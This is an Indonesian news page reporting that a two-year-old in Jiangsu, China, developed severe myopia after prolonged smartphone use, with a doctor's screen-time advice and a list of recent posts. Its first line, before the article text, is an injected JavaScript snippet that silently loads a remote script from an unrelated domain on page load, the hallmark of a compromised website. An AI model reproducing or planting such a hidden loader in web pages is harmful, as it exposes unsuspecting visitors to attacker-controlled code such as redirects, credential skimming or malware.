(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Setahun Main Gadget, Bayi Dua Tahun Ini Derita Rabun Jauh Parah


Menggunakan gadget untuk menghibur dan menenangkan anak seringkali dianggap cara paling mudah untuk membuat anak tenang. Tapi tentu hal ini datang dengan risiko baik jangka pendek maupun jangka panjang.

Terlebih jika orangtua tidak mendampingi dan memberi batasan. Hal inilah yang kemudian terjadi pada penglihatan bayi berusia dua tahun yang dilaporkan secara rutin bermain gadget.

Seperti dilansir dari World of Buzz, seorang gadis kecil berusia 2 tahun dari Jiangsu China didiagnosis menderita miopia parah (rabun jauh). Hal itu disebabkan kedua orangtuanya yang mengizinkan bayi mungilnya mengakses smartphone selama berjam-jam untuk membuatnya tenang.

Satu tahun berlalu bayi malang tersebut kerap terlihat sering menyipitkan mata dan mengerutkan kening. Namun, anggota keluarganya berpikir bahwa itu hanya kebiasaan yang tidak berdampak apa-apa.

Hingga akhirnya suatu hari orangtuanya memutuskan untuk ke dokter. Setelah dicek, mereka terkejut mengetahui bahwa sang bayi mengidap rabun jauh 900 derajat (-9 dioptres). Hal ini adalah suatu yang sangat serius untuk seseorang yang masih sangat dini. Dengan kondisi tersebut, seorang anak harus mengangkat buku kurang lebih 10 cm di atas hidung untuk bisa jelas membaca tulisan.

Dokter di rumah sakit mengatakan bahwa balita itu terlalu muda untuk menggunakan perangkat elektronik, dan kerusakan pada matanya tidak dapat dipulihkan. Dia juga mengatakan bahwa mungkin saja saat dia bertambah tua, pandangannya yang pendek bisa memburuk.

Dokter menyarankan agar anak-anak di bawah usia tiga tahun tidak boleh menggunakan gadget elektronik sama sekali. Sementara mereka yang berusia antara tiga dan enam tahun hanya boleh menggunakan perangkat ini selama maksimal 30 menit setiap hari.

Dia menambahkan bahwa orangtua harus waspada terhadap gejala atau perilaku dari anak-anak mereka yang bisa menjadi tanda masalah dengan penglihatan mereka. Ini termasuk sering menggosok mata, sering berkedip, menyipit, mengerutkan kening dan tindakan serupa. (vvn)

Reporter : Vvn
Editor : Kk

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

10 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

13 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

13 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

15 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

17 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

18 jam ago

This website uses cookies.